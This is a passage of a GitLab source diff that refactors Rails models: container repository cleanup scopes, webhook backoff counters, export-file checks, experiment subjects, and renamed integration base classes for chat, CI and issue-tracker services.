@@ -33,6 +40,7 @@ class ContainerRepository < ApplicationRecord
scope :search_by_name, ->(query) { fuzzy_search(query, [:name], use_minimum_char_limit: false) }
scope :waiting_for_cleanup, -> { where(expiration_policy_cleanup_status: WAITING_CLEANUP_STATUSES) }
scope :expiration_policy_started_at_nil_or_before, ->(timestamp) { where('expiration_policy_started_at < ? OR expiration_policy_started_at IS NULL', timestamp) }
+ scope :with_stale_ongoing_cleanup, ->(threshold) { cleanup_ongoing.where('expiration_policy_started_at < ?', threshold) }
def self.exists_by_path?(path)
where(
@@ -42,16 +50,15 @@ class ContainerRepository < ApplicationRecord
end
def self.with_enabled_policy
- joins("INNER JOIN container_expiration_policies ON container_repositories.project_id = container_expiration_policies.project_id")
+ joins('INNER JOIN container_expiration_policies ON container_repositories.project_id = container_expiration_policies.project_id')
.where(container_expiration_policies: { enabled: true })
end
def self.requiring_cleanup
- where(
- container_repositories: { expiration_policy_cleanup_status: REQUIRING_CLEANUP_STATUSES },
- project_id: ::ContainerExpirationPolicy.runnable_schedules
- .select(:project_id)
- )
+ with_enabled_policy
+ .where(container_repositories: { expiration_policy_cleanup_status: REQUIRING_CLEANUP_STATUSES })
+ .where('container_repositories.expiration_policy_started_at IS NULL OR container_repositories.expiration_policy_started_at < container_expiration_policies.next_run_at')
+ .where('container_expiration_policies.next_run_at < ?', Time.zone.now)
end
def self.with_unfinished_cleanup
diff --git a/app/models/cycle_analytics/project_level.rb b/app/models/cycle_analytics/project_level.rb
deleted file mode 100644
index 5bd07b3f6c3..00000000000
--- a/app/models/cycle_analytics/project_level.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-module CycleAnalytics
- class ProjectLevel
- attr_reader :project, :options
-
- def initialize(project, options:)
- @project = project
- @options = options.merge(project: project)
- end
-
- def summary
- @summary ||= ::Gitlab::CycleAnalytics::StageSummary.new(project,
- from: options[:from],
- to: options[:to],
- current_user: options[:current_user]).data
- end
-
- def permissions(user:)
- Gitlab::CycleAnalytics::Permissions.get(user: user, project: project)
- end
-
- def stats
- @stats ||= default_stage_names.map do |stage_name|
- self[stage_name].as_json
- end
- end
-
- def [](stage_name)
- CycleAnalytics::ProjectLevelStageAdapter.new(build_stage(stage_name), options)
- end
-
- private
-
- def build_stage(stage_name)
- stage_params = stage_params_by_name(stage_name).merge(project: project)
- Analytics::CycleAnalytics::ProjectStage.new(stage_params)
- end
-
- def stage_params_by_name(name)
- Gitlab::Analytics::CycleAnalytics::DefaultStages.find_by_name!(name)
- end
-
- def default_stage_names
- Gitlab::Analytics::CycleAnalytics::DefaultStages.symbolized_stage_names
- end
- end
-end
diff --git a/app/models/deployment.rb b/app/models/deployment.rb
index e2b25690323..7f5849bffc6 100644
--- a/app/models/deployment.rb
+++ b/app/models/deployment.rb
@@ -8,6 +8,9 @@ class Deployment < ApplicationRecord
include Importable
include Gitlab::Utils::StrongMemoize
include FastDestroyAll
+ include IgnorableColumns
+
+ ignore_column :deployable_id_convert_to_bigint, remove_with: '14.2', remove_after: '2021-08-22'
belongs_to :project, required: true
belongs_to :environment, required: true
diff --git a/app/models/environment.rb b/app/models/environment.rb
index 2e677a3d177..558963c98c4 100644
--- a/app/models/environment.rb
+++ b/app/models/environment.rb
@@ -223,6 +223,7 @@ class Environment < ApplicationRecord
Gitlab::Ci::Variables::Collection.new
.append(key: 'CI_ENVIRONMENT_NAME', value: name)
.append(key: 'CI_ENVIRONMENT_SLUG', value: slug)
+ .append(key: 'CI_ENVIRONMENT_TIER', value: tier)
end
def recently_updated_on_branch?(ref)
@@ -335,10 +336,6 @@ class Environment < ApplicationRecord
prometheus_adapter.query(:environment, self) if has_metrics_and_can_query?
end
- def prometheus_status
- deployment_platform&.cluster&.application_prometheus&.status_name
- end
-
def additional_metrics(*args)
return unless has_metrics_and_can_query?
diff --git a/app/models/environment_status.rb b/app/models/environment_status.rb
index 55ea4e2fe18..07c0983f239 100644
--- a/app/models/environment_status.rb
+++ b/app/models/environment_status.rb
@@ -100,7 +100,7 @@ class EnvironmentStatus
def self.build_environments_status(mr, user, pipeline)
return [] unless pipeline
- pipeline.environments.includes(:project).available.map do |environment|
+ pipeline.environments_in_self_and_descendants.includes(:project).available.map do |environment|
next unless Ability.allowed?(user, :read_environment, environment)
EnvironmentStatus.new(pipeline.project, environment, mr, pipeline.sha)
diff --git a/app/models/experiment.rb b/app/models/experiment.rb
index 7ffb321f2b7..cd0814c476a 100644
--- a/app/models/experiment.rb
+++ b/app/models/experiment.rb
@@ -11,7 +11,11 @@ class Experiment < ApplicationRecord
end
def self.add_group(name, variant:, group:)
- find_or_create_by!(name: name).record_group_and_variant!(group, variant)
+ add_subject(name, variant: variant, subject: group)
+ end
+
+ def self.add_subject(name, variant:, subject:)
+ find_or_create_by!(name: name).record_subject_and_variant!(subject, variant)
end
def self.record_conversion_event(name, user, context = {})
@@ -37,8 +41,11 @@ class Experiment < ApplicationRecord
experiment_user.update!(converted_at: Time.current, context: merged_context(experiment_user, context))
end
- def record_group_and_variant!(group, variant)
- experiment_subject = experiment_subjects.find_or_initialize_by(group: group)
+ def record_subject_and_variant!(subject, variant)
+ raise 'Incompatible subject provided!' unless ExperimentSubject.valid_subject?(subject)
+
+ attr_name = subject.class.table_name.singularize.to_sym
+ experiment_subject = experiment_subjects.find_or_initialize_by(attr_name => subject)
experiment_subject.assign_attributes(variant: variant)
# We only call save when necessary because this causes the request to stick to the primary DB
# even when the save is a no-op
diff --git a/app/models/experiment_subject.rb b/app/models/experiment_subject.rb
index 51ffc0b304e..2a7b9017a51 100644
--- a/app/models/experiment_subject.rb
+++ b/app/models/experiment_subject.rb
@@ -5,7 +5,7 @@ class ExperimentSubject < ApplicationRecord
belongs_to :experiment, inverse_of: :experiment_subjects
belongs_to :user
- belongs_to :group
+ belongs_to :namespace
belongs_to :project
validates :experiment, presence: true
@@ -14,15 +14,19 @@ class ExperimentSubject < ApplicationRecord
enum variant: { GROUP_CONTROL => 0, GROUP_EXPERIMENTAL => 1 }
+ def self.valid_subject?(subject)
+ subject.is_a?(Namespace) || subject.is_a?(User) || subject.is_a?(Project)
+ end
+
private
def must_have_one_subject_present
if non_nil_subjects.length != 1
- errors.add(:base, s_("ExperimentSubject|Must have exactly one of User, Group, or Project."))
+ errors.add(:base, s_("ExperimentSubject|Must have exactly one of User, Namespace, or Project."))
end
end
def non_nil_subjects
- @non_nil_subjects ||= [user, group, project].reject(&:blank?)
+ @non_nil_subjects ||= [user, namespace, project].reject(&:blank?)
end
end
diff --git a/app/models/group.rb b/app/models/group.rb
index da795651c63..e4127b2b2d4 100644
--- a/app/models/group.rb
+++ b/app/models/group.rb
@@ -16,9 +16,7 @@ class Group < Namespace
include Gitlab::Utils::StrongMemoize
include GroupAPICompatibility
include EachBatch
- include HasTimelogsReport
-
- ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT = 10
+ include BulkMemberAccessLoad
has_many :all_group_members, -> { where(requested_at: nil) }, dependent: :destroy, as: :source, class_name: 'GroupMember' # rubocop:disable Cop/ActiveRecordDependent
has_many :group_members, -> { where(requested_at: nil).where.not(members: { access_level: Gitlab::Access::MINIMAL_ACCESS }) }, dependent: :destroy, as: :source # rubocop:disable Cop/ActiveRecordDependent
@@ -82,6 +80,8 @@ class Group < Namespace
# debian_distributions and associated component_files must be destroyed by ruby code in order to properly remove carrierwave uploads
has_many :debian_distributions, class_name: 'Packages::Debian::GroupDistribution', dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ delegate :prevent_sharing_groups_outside_hierarchy, to: :namespace_settings
+
accepts_nested_attributes_for :variables, allow_destroy: true
validate :visibility_level_allowed_by_projects
@@ -444,6 +444,12 @@ class Group < Namespace
end
end
+ def self_and_descendants_ids
+ strong_memoize(:self_and_descendants_ids) do
+ self_and_descendants.pluck(:id)
+ end
+ end
+
def direct_members
GroupMember.active_without_invites_and_requests
.non_minimal_access
@@ -569,24 +575,8 @@ class Group < Namespace
def max_member_access_for_user(user, only_concrete_membership: false)
return GroupMember::NO_ACCESS unless user
return GroupMember::OWNER if user.can_admin_all_resources? && !only_concrete_membership
- # Use the preloaded value that exists instead of performing the db query again(cached or not).
- # Groups::GroupMembersController#preload_max_access makes use of this by
- # calling Group#max_member_access. This helps when we have a process
- # that may query this multiple times from the outside through a policy query
- # like the GroupPolicy#lookup_access_level! does as a condition for any role
- return user.max_access_for_group[id] if user.max_access_for_group[id]
- max_member_access(user)
- end
-
- def max_member_access(user)
- max_member_access = members_with_parents
- .where(user_id: user)
- .reorder(access_level: :desc)
- .first
- &.access_level
-
- max_member_access || GroupMember::NO_ACCESS
+ max_member_access([user.id])[user.id]
end
def mattermost_team_params
@@ -649,7 +639,7 @@ class Group < Namespace
end
def access_request_approvers_to_be_notified
- members.owners.connected_to_user.order_recent_sign_in.limit(ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT)
+ members.owners.connected_to_user.order_recent_sign_in.limit(Member::ACCESS_REQUEST_APPROVERS_TO_BE_NOTIFIED_LIMIT)
end
def supports_events?
@@ -657,13 +647,17 @@ class Group < Namespace
end
def export_file_exists?
- export_file&.file
+ import_export_upload&.export_file_exists?
end
def export_file
import_export_upload&.export_file
end
+ def export_archive_exists?
+ import_export_upload&.export_archive_exists?
+ end
+
def adjourned_deletion?
false
end
@@ -728,8 +722,26 @@ class Group < Namespace
Gitlab::Routing.url_helpers.activity_group_path(self)
end
+ # rubocop: disable CodeReuse/ServiceClass
+ def open_issues_count(current_user = nil)
+ Groups::OpenIssuesCountService.new(self, current_user).count
+ end
+ # rubocop: enable CodeReuse/ServiceClass
+
+ # rubocop: disable CodeReuse/ServiceClass
+ def open_merge_requests_count(current_user = nil)
+ Groups::MergeRequestsCountService.new(self, current_user).count
+ end
+ # rubocop: enable CodeReuse/ServiceClass
+
private
+ def max_member_access(user_ids)
+ max_member_access_for_resource_ids(User, user_ids) do |user_ids|
+ members_with_parents.where(user_id: user_ids).group(:user_id).maximum(:access_level)
+ end
+ end
+
def update_two_factor_requirement
return unless saved_change_to_require_two_factor_authentication? || saved_change_to_two_factor_grace_period?
diff --git a/app/models/group_deploy_token.rb b/app/models/group_deploy_token.rb
index d4ad29ddabb..084a8672460 100644
--- a/app/models/group_deploy_token.rb
+++ b/app/models/group_deploy_token.rb
@@ -9,8 +9,6 @@ class GroupDeployToken < ApplicationRecord
validates :deploy_token_id, uniqueness: { scope: [:group_id] }
def has_access_to?(requested_project)
- return false unless Feature.enabled?(:allow_group_deploy_token, default_enabled: true)
-
requested_project_group = requested_project&.group
return false unless requested_project_group
return true if requested_project_group.id == group_id
diff --git a/app/models/hooks/project_hook.rb b/app/models/hooks/project_hook.rb
index a28b97e63e5..d1584a62bfb 100644
--- a/app/models/hooks/project_hook.rb
+++ b/app/models/hooks/project_hook.rb
@@ -39,6 +39,11 @@ class ProjectHook < WebHook
def rate_limit
project.actual_limits.limit_for(:web_hook_calls)
end
+
+ override :application_context
+ def application_context
+ super.merge(project: project)
+ end
end
ProjectHook.prepend_mod_with('ProjectHook')
diff --git a/app/models/hooks/web_hook.rb b/app/models/hooks/web_hook.rb
index 02b4feb4ccc..5f8fa4bca0a 100644
--- a/app/models/hooks/web_hook.rb
+++ b/app/models/hooks/web_hook.rb
@@ -3,6 +3,7 @@
class WebHook < ApplicationRecord
include Sortable
+ MAX_FAILURES = 100
FAILURE_THRESHOLD = 3 # three strikes
INITIAL_BACKOFF = 10.minutes
MAX_BACKOFF = 1.day
@@ -72,14 +73,29 @@ class WebHook < ApplicationRecord
end
def enable!
+ return if recent_failures == 0 && disabled_until.nil? && backoff_count == 0
+
update!(recent_failures: 0, disabled_until: nil, backoff_count: 0)
end
+ def backoff!
+ update!(disabled_until: next_backoff.from_now, backoff_count: backoff_count.succ.clamp(0, MAX_FAILURES))
+ end
+
+ def failed!
+ update!(recent_failures: recent_failures + 1) if recent_failures < MAX_FAILURES
+ end
+
# Overridden in ProjectHook and GroupHook, other webhooks are not rate-limited.
def rate_limit
nil
end
+ # Custom attributes to be included in the worker context.
+ def application_context
+ { related_class: type }
+ end
+
private
def web_hooks_disable_failed?
diff --git a/app/models/hooks/web_hook_log_archived.rb b/app/models/hooks/web_hook_log_archived.rb
deleted file mode 100644
index a1c8a44f5ba..00000000000
--- a/app/models/hooks/web_hook_log_archived.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-# This model is not intended to be used.
-# It is a temporary reference to the old non-partitioned
-# web_hook_logs table.
-# Please refer to https://gitlab.com/groups/gitlab-org/-/epics/5558
-# for details.
-# rubocop:disable Gitlab/NamespacedClass: This is a temporary class with no relevant namespace
-# WebHook, WebHookLog and all hooks are defined outside of a namespace
-class WebHookLogArchived < ApplicationRecord
- self.table_name = 'web_hook_logs_archived'
-end
diff --git a/app/models/import_export_upload.rb b/app/models/import_export_upload.rb
index 7d73fd281f1..bc363cce8dd 100644
--- a/app/models/import_export_upload.rb
+++ b/app/models/import_export_upload.rb
@@ -11,7 +11,42 @@ class ImportExportUpload < ApplicationRecord
mount_uploader :import_file, ImportExportUploader
mount_uploader :export_file, ImportExportUploader
+ # This causes CarrierWave v1 and v3 (but not v2) to upload the file to
+ # object storage *after* the database entry has been committed to the
+ # database. This avoids idling in a transaction.
+ if Gitlab::Utils.to_boolean(ENV.fetch('ENABLE_STORE_EXPORT_FILE_AFTER_COMMIT', true))
+ skip_callback :save, :after, :store_export_file!
+ set_callback :commit, :after, :store_export_file!
+ end
+
+ scope :updated_before, ->(date) { where('updated_at < ?', date) }
+ scope :with_export_file, -> { where.not(export_file: nil) }
+
def retrieve_upload(_identifier, paths)
Upload.find_by(model: self, path: paths)
end
+
+ def export_file_exists?
+ !!carrierwave_export_file
+ end
+
+ # This checks if the export archive is actually stored on disk. It
+ # requires a HEAD request if object storage is used.
+ def export_archive_exists?
+ !!carrierwave_export_file&.exists?
+ # Handle any HTTP unexpected error
+ # https://github.com/excon/excon/blob/bbb5bd791d0bb2251593b80e3bce98dbec6e8f24/lib/excon/error.rb#L129-L169
+ rescue Excon::Error => e
+ # The HEAD request will fail with a 403 Forbidden if the file does not
+ # exist, and the user does not have permission to list the object
+ # storage bucket.
+ Gitlab::ErrorTracking.track_exception(e)
+ false
+ end
+
+ private
+
+ def carrierwave_export_file
+ export_file&.file
+ end
end
diff --git a/app/models/integration.rb b/app/models/integration.rb
index 13203cd4e95..238ecbbf209 100644
--- a/app/models/integration.rb
+++ b/app/models/integration.rb
@@ -6,7 +6,7 @@ class Integration < ApplicationRecord
include Sortable
include Importable
include ProjectServicesLoggable
- include DataFields
+ include Integrations::HasDataFields
include FromUnion
include EachBatch
@@ -29,6 +29,27 @@ class Integration < ApplicationRecord
mock_ci mock_monitoring
].freeze
+ # Base classes which aren't actual integrations.
+ BASE_CLASSES = %w[
+ Integrations::BaseChatNotification
+ Integrations::BaseCi
+ Integrations::BaseIssueTracker
+ Integrations::BaseMonitoring
+ Integrations::BaseSlashCommands
+ ].freeze
+
+ # used as part of the renaming effort (https://gitlab.com/groups/gitlab-org/-/epics/2504)
+ RENAMED_TO_INTEGRATION = %w[
+ asana assembla
+ bamboo bugzilla buildkite
+ campfire confluence custom_issue_tracker
+ datadog discord drone_ci
+ ].to_set.freeze
+
+ def self.renamed?(name)
+ RENAMED_TO_INTEGRATION.include?(name)
+ end
+
serialize :properties, JSON # rubocop:disable Cop/ActiveRecordSerialize
attribute :type, Gitlab::Integrations::StiType.new
@@ -59,7 +80,7 @@ class Integration < ApplicationRecord
validates :project_id, presence: true, unless: -> { template? || instance_level? || group_level? }
validates :group_id, presence: true, unless: -> { template? || instance_level? || project_level? }
validates :project_id, :group_id, absence: true, if: -> { template? || instance_level? }
- validates :type, presence: true
+ validates :type, presence: true, exclusion: BASE_CLASSES
validates :type, uniqueness: { scope: :template }, if: :template?
validates :type, uniqueness: { scope: :instance }, if: :instance_level?
validates :type, uniqueness: { scope: :project_id }, if: :project_level?
@@ -185,7 +206,7 @@ class Integration < ApplicationRecord
def self.find_or_initialize_non_project_specific_integration(name, instance: false, group_id: nil)
return unless name.in?(available_services_names(include_project_specific: false))
- service_name_to_model(name).find_or_initialize_by(instance: instance, group_id: group_id)
+ integration_name_to_model(name).find_or_initialize_by(instance: instance, group_id: group_id)
end
def self.find_or_initialize_all_non_project_specific(scope)
@@ -194,7 +215,7 @@ class Integration < ApplicationRecord
def self.build_nonexistent_services_for(scope)
nonexistent_services_types_for(scope).map do |service_type|
- service_type_to_model(service_type).new
+ integration_type_to_model(service_type).new
end
end
private_class_method :build_nonexistent_services_for
@@ -210,6 +231,7 @@ class Integration < ApplicationRecord
# Returns a list of available service names.
# Example: ["asana", ...]
+ # @deprecated
def self.available_services_names(include_project_specific: true, include_dev: true)
service_names = services_names
service_names += project_specific_services_names if include_project_specific
@@ -218,10 +240,14 @@ class Integration < ApplicationRecord
service_names.sort_by(&:downcase)
end
- def self.services_names
+ def self.integration_names
INTEGRATION_NAMES
end
+ def self.services_names
+ integration_names
+ end
+
def self.dev_services_names
return [] unless Rails.env.development?
@@ -236,29 +262,29 @@ class Integration < ApplicationRecord
# Example: ["AsanaService", ...]
def self.available_services_types(include_project_specific: true, include_dev: true)
available_services_names(include_project_specific: include_project_specific, include_dev: include_dev).map do |service_name|
- service_name_to_type(service_name)
+ integration_name_to_type(service_name)
end
end
# Returns the model for the given service name.
# Example: "asana" => Integrations::Asana
- def self.service_name_to_model(name)
- type = service_name_to_type(name)
- service_type_to_model(type)
+ def self.integration_name_to_model(name)
+ type = integration_name_to_type(name)
+ integration_type_to_model(type)
end
# Returns the STI type for the given service name.
# Example: "asana" => "AsanaService"
- def self.service_name_to_type(name)
+ def self.integration_name_to_type(name)
"#{name}_service".camelize
end
# Returns the model for the given STI type.
# Example: "AsanaService" => Integrations::Asana
- def self.service_type_to_model(type)
+ def self.integration_type_to_model(type)
Gitlab::Integrations::StiType.new.cast(type).constantize
end
- private_class_method :service_type_to_model
+ private_class_method :integration_type_to_model
def self.build_from_integration(integration, project_id: nil, group_id: nil)
new_integration = integration.dup
@@ -480,10 +506,6 @@ class Integration < ApplicationRecord
ProjectServiceWorker.perform_async(id, data)
end
- def external_wiki?
- type == 'ExternalWikiService' && active?
- end
-
# override if needed
def supports_data_fields?
false
diff --git a/app/models/integrations/bamboo.rb b/app/models/integrations/bamboo.rb
index 82111c7322e..dbd7aedf4fe 100644
--- a/app/models/integrations/bamboo.rb
+++ b/app/models/integrations/bamboo.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module Integrations
- class Bamboo < CiService
+ class Bamboo < BaseCi
include ActionView::Helpers::UrlHelper
include ReactiveService
diff --git a/app/models/integrations/base_chat_notification.rb b/app/models/integrations/base_chat_notification.rb
new file mode 100644
index 00000000000..5eae8bce92a
--- /dev/null
+++ b/app/models/integrations/base_chat_notification.rb
@@ -0,0 +1,255 @@
+# frozen_string_literal: true
+
+# Base class for Chat notifications services
+# This class is not meant to be used directly, but only to inherit from.
+
+module Integrations
+ class BaseChatNotification < Integration
+ include ChatMessage
+ include NotificationBranchSelection
+
+ SUPPORTED_EVENTS = %w[
+ push issue confidential_issue merge_request note confidential_note
+ tag_push pipeline wiki_page deployment
+ ].freeze
+
+ SUPPORTED_EVENTS_FOR_LABEL_FILTER = %w[issue confidential_issue merge_request note confidential_note].freeze
+
+ EVENT_CHANNEL = proc { |event| "#{event}_channel" }
+
+ LABEL_NOTIFICATION_BEHAVIOURS = [
+ MATCH_ANY_LABEL = 'match_any',
+ MATCH_ALL_LABELS = 'match_all'
+ ].freeze
+
+ default_value_for :category, 'chat'
+
+ prop_accessor :webhook, :username, :channel, :branches_to_be_notified, :labels_to_be_notified, :labels_to_be_notified_behavior
+
+ # Custom serialized properties initialization
+ prop_accessor(*SUPPORTED_EVENTS.map { |event| EVENT_CHANNEL[event] })
+
+ boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch
+
+ validates :webhook, presence: true, public_url: true, if: :activated?
+ validates :labels_to_be_notified_behavior, inclusion: { in: LABEL_NOTIFICATION_BEHAVIOURS }, allow_blank: true
+
+ def initialize_properties
+ if properties.nil?
+ self.properties = {}
+ self.notify_only_broken_pipelines = true
+ self.branches_to_be_notified = "default"
+ self.labels_to_be_notified_behavior = MATCH_ANY_LABEL
+ elsif !self.notify_only_default_branch.nil?
+ # In older versions, there was only a boolean property named
+ # `notify_only_default_branch`. Now we have a string property named
+ # `branches_to_be_notified`. Instead of doing a background migration, we
+ # opted to set a value for the new property based on the old one, if
+ # users haven't specified one already. When users edit the service and
+ # select a value for this new property, it will override everything.
+
+ self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all"
+ end
+ end
+
+ def confidential_issue_channel
+ properties['confidential_issue_channel'].presence || properties['issue_channel']
+ end
+
+ def confidential_note_channel
+ properties['confidential_note_channel'].presence || properties['note_channel']
+ end
+
+ def self.supported_events
+ SUPPORTED_EVENTS
+ end
+
+ def fields
+ default_fields + build_event_channels
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}", required: true }.freeze,
+ { type: 'text', name: 'username', placeholder: 'GitLab-integration' }.freeze,
+ { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'Do not send notifications for successful pipelines.' }.freeze,
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }.freeze,
+ {
+ type: 'text',
+ name: 'labels_to_be_notified',
+ placeholder: '~backend,~frontend',
+ help: 'Send notifications for issue, merge request, and comment events with the listed labels only. Leave blank to receive notifications for all events.'
+ }.freeze,
+ {
+ type: 'select',
+ name: 'labels_to_be_notified_behavior',
+ choices: [
+ ['Match any of the labels', MATCH_ANY_LABEL],
+ ['Match all of the labels', MATCH_ALL_LABELS]
+ ]
+ }.freeze
+ ].freeze
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ return unless webhook.present?
+
+ object_kind = data[:object_kind]
+
+ data = custom_data(data)
+
+ return unless notify_label?(data)
+
+ # WebHook events often have an 'update' event that follows a 'open' or
+ # 'close' action. Ignore update events for now to prevent duplicate
+ # messages from arriving.
+
+ message = get_message(object_kind, data)
+
+ return false unless message
+
+ event_type = data[:event_type] || object_kind
+
+ channel_names = get_channel_field(event_type).presence || channel.presence
+ channels = channel_names&.split(',')&.map(&:strip)
+
+ opts = {}
+ opts[:channel] = channels if channels.present?
+ opts[:username] = username if username
+
+ if notify(message, opts)
+ log_usage(event_type, user_id_from_hook_data(data))
+ return true
+ end
+
+ false
+ end
+
+ def event_channel_names
+ supported_events.map { |event| event_channel_name(event) }
+ end
+
+ def event_field(event)
+ fields.find { |field| field[:name] == event_channel_name(event) }
+ end
+
+ def global_fields
+ fields.reject { |field| field[:name].end_with?('channel') }
+ end
+
+ def default_channel_placeholder
+ raise NotImplementedError
+ end
+
+ private
+
+ def log_usage(_, _)
+ # Implement in child class
+ end
+
+ def labels_to_be_notified_list
+ return [] if labels_to_be_notified.nil?
+
+ labels_to_be_notified.delete('~').split(',').map(&:strip)
+ end
+
+ def notify_label?(data)
+ return true unless SUPPORTED_EVENTS_FOR_LABEL_FILTER.include?(data[:object_kind]) && labels_to_be_notified.present?
+
+ labels = data[:labels] || data.dig(:issue, :labels) || data.dig(:merge_request, :labels) || data.dig(:object_attributes, :labels)
+
+ return false if labels.blank?
+
+ matching_labels = labels_to_be_notified_list & labels.pluck(:title)
+
+ if labels_to_be_notified_behavior == MATCH_ALL_LABELS
+ labels_to_be_notified_list.difference(matching_labels).empty?
+ else
+ matching_labels.any?
+ end
+ end
+
+ def user_id_from_hook_data(data)
+ data.dig(:user, :id) || data[:user_id]
+ end
+
+ # every notifier must implement this independently
+ def notify(message, opts)
+ raise NotImplementedError
+ end
+
+ def custom_data(data)
+ data.merge(project_url: project_url, project_name: project_name).with_indifferent_access
+ end
+
+ def get_message(object_kind, data)
+ case object_kind
+ when "push", "tag_push"
+ Integrations::ChatMessage::PushMessage.new(data) if notify_for_ref?(data)
+ when "issue"
+ Integrations::ChatMessage::IssueMessage.new(data) unless update?(data)
+ when "merge_request"
+ Integrations::ChatMessage::MergeMessage.new(data) unless update?(data)
+ when "note"
+ Integrations::ChatMessage::NoteMessage.new(data)
+ when "pipeline"
+ Integrations::ChatMessage::PipelineMessage.new(data) if should_pipeline_be_notified?(data)
+ when "wiki_page"
+ Integrations::ChatMessage::WikiPageMessage.new(data)
+ when "deployment"
+ Integrations::ChatMessage::DeploymentMessage.new(data)
+ end
+ end
+
+ def get_channel_field(event)
+ field_name = event_channel_name(event)
+ self.public_send(field_name) # rubocop:disable GitlabSecurity/PublicSend
+ end
+
+ def build_event_channels
+ supported_events.reduce([]) do |channels, event|
+ channels << { type: 'text', name: event_channel_name(event), placeholder: default_channel_placeholder }
+ end
+ end
+
+ def event_channel_name(event)
+ EVENT_CHANNEL[event]
+ end
+
+ def project_name
+ project.full_name
+ end
+
+ def project_url
+ project.web_url
+ end
+
+ def update?(data)
+ data[:object_attributes][:action] == 'update'
+ end
+
+ def should_pipeline_be_notified?(data)
+ notify_for_ref?(data) && notify_for_pipeline?(data)
+ end
+
+ def notify_for_ref?(data)
+ return true if data[:object_kind] == 'tag_push'
+ return true if data.dig(:object_attributes, :tag)
+
+ notify_for_branch?(data)
+ end
+
+ def notify_for_pipeline?(data)
+ case data[:object_attributes][:status]
+ when 'success'
+ !notify_only_broken_pipelines?
+ when 'failed'
+ true
+ else
+ false
+ end
+ end
+ end
+end
diff --git a/app/models/integrations/base_ci.rb b/app/models/integrations/base_ci.rb
new file mode 100644
index 00000000000..b2e269b1b50
--- /dev/null
+++ b/app/models/integrations/base_ci.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+# Base class for CI services
+# List methods you need to implement to get your CI service
+# working with GitLab merge requests
+module Integrations
+ class BaseCi < Integration
+ default_value_for :category, 'ci'
+
+ def valid_token?(token)
+ self.respond_to?(:token) && self.token.present? && ActiveSupport::SecurityUtils.secure_compare(token, self.token)
+ end
+
+ def self.supported_events
+ %w(push)
+ end
+
+ # Return complete url to build page
+ #
+ # Ex.
+ # http://jenkins.example.com:8888/job/test1/scm/bySHA1/12d65c
+ #
+ def build_page(sha, ref)
+ # implement inside child
+ end
+
+ # Return string with build status or :error symbol
+ #
+ # Allowed states: 'success', 'failed', 'running', 'pending', 'skipped'
+ #
+ #
+ # Ex.
+ # @service.commit_status('13be4ac', 'master')
+ # # => 'success'
+ #
+ # @service.commit_status('2abe4ac', 'dev')
+ # # => 'running'
+ #
+ #
+ def commit_status(sha, ref)
+ # implement inside child
+ end
+ end
+end
diff --git a/app/models/integrations/base_issue_tracker.rb b/app/models/integrations/base_issue_tracker.rb
new file mode 100644
index 00000000000..6c24f762cd5
--- /dev/null
+++ b/app/models/integrations/base_issue_tracker.rb
@@ -0,0 +1,156 @@
+# frozen_string_literal: true
+
+module Integrations
+ class BaseIssueTracker < Integration
+ validate :one_issue_tracker, if: :activated?, on: :manual_change
+
+ # TODO: we can probably just delegate as part of
+ # https://gitlab.com/gitlab-org/gitlab/issues/29404
+ data_field :project_url, :issues_url, :new_issue_url
+
+ default_value_for :category, 'issue_tracker'
+
+ before_validation :handle_properties
+ before_validation :set_default_data, on: :create
+
+ # Pattern used to extract links from comments
+ # Override this method on services that uses different patterns
+ # This pattern does not support cross-project references
+ # The other code assumes that this pattern is a superset of all
+ # overridden patterns. See ReferenceRegexes.external_pattern
+ def self.reference_pattern(only_long: false)
+ if only_long
+ /(\b[A-Z][A-Z0-9_]*-)#{Gitlab::Regex.issue}/
+ else
+ /(\b[A-Z][A-Z0-9_]*-|#{Issue.reference_prefix})#{Gitlab::Regex.issue}/
+ end
+ end
+
+ def handle_properties
+ # this has been moved from initialize_properties and should be improved
+ # as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
+ return unless properties
+
+ @legacy_properties_data = properties.dup
+ data_values = properties.slice!('title', 'description')
+ data_values.reject! { |key| data_fields.changed.include?(key) }
+ data_values.slice!(*data_fields.attributes.keys)
+ data_fields.assign_attributes(data_values) if data_values.present?
+
+ self.properties = {}
+ end
+
+ def legacy_properties_data
+ @legacy_properties_data ||= {}
+ end
+
+ def supports_data_fields?
+ true
+ end
+
+ def data_fields
+ issue_tracker_data || self.build_issue_tracker_data
+ end
+
+ def default?
+ default
+ end
+
+ def issue_url(iid)
+ issues_url.gsub(':id', iid.to_s)
+ end
+
+ def issue_tracker_path
+ project_url
+ end
+
+ def new_issue_path
+ new_issue_url
+ end
+
+ def issue_path(iid)
+ issue_url(iid)
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'project_url', title: _('Project URL'), help: s_('IssueTracker|The URL to the project in the external issue tracker.'), required: true },
+ { type: 'text', name: 'issues_url', title: s_('IssueTracker|Issue URL'), help: s_('IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}.') % { colon_id: '<code>:id</code>'.html_safe }, required: true },
+ { type: 'text', name: 'new_issue_url', title: s_('IssueTracker|New issue URL'), help: s_('IssueTracker|The URL to create an issue in the external issue tracker.'), required: true }
+ ]
+ end
+
+ def initialize_properties
+ {}
+ end
+
+ # Initialize with default properties values
+ def set_default_data
+ return unless issues_tracker.present?
+
+ # we don't want to override if we have set something
+ return if project_url || issues_url || new_issue_url
+
+ data_fields.project_url = issues_tracker['project_url']
+ data_fields.issues_url = issues_tracker['issues_url']
+ data_fields.new_issue_url = issues_tracker['new_issue_url']
+ end
+
+ def self.supported_events
+ %w(push)
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ message = "#{self.type} was unable to reach #{self.project_url}. Check the url and try again."
+ result = false
+
+ begin
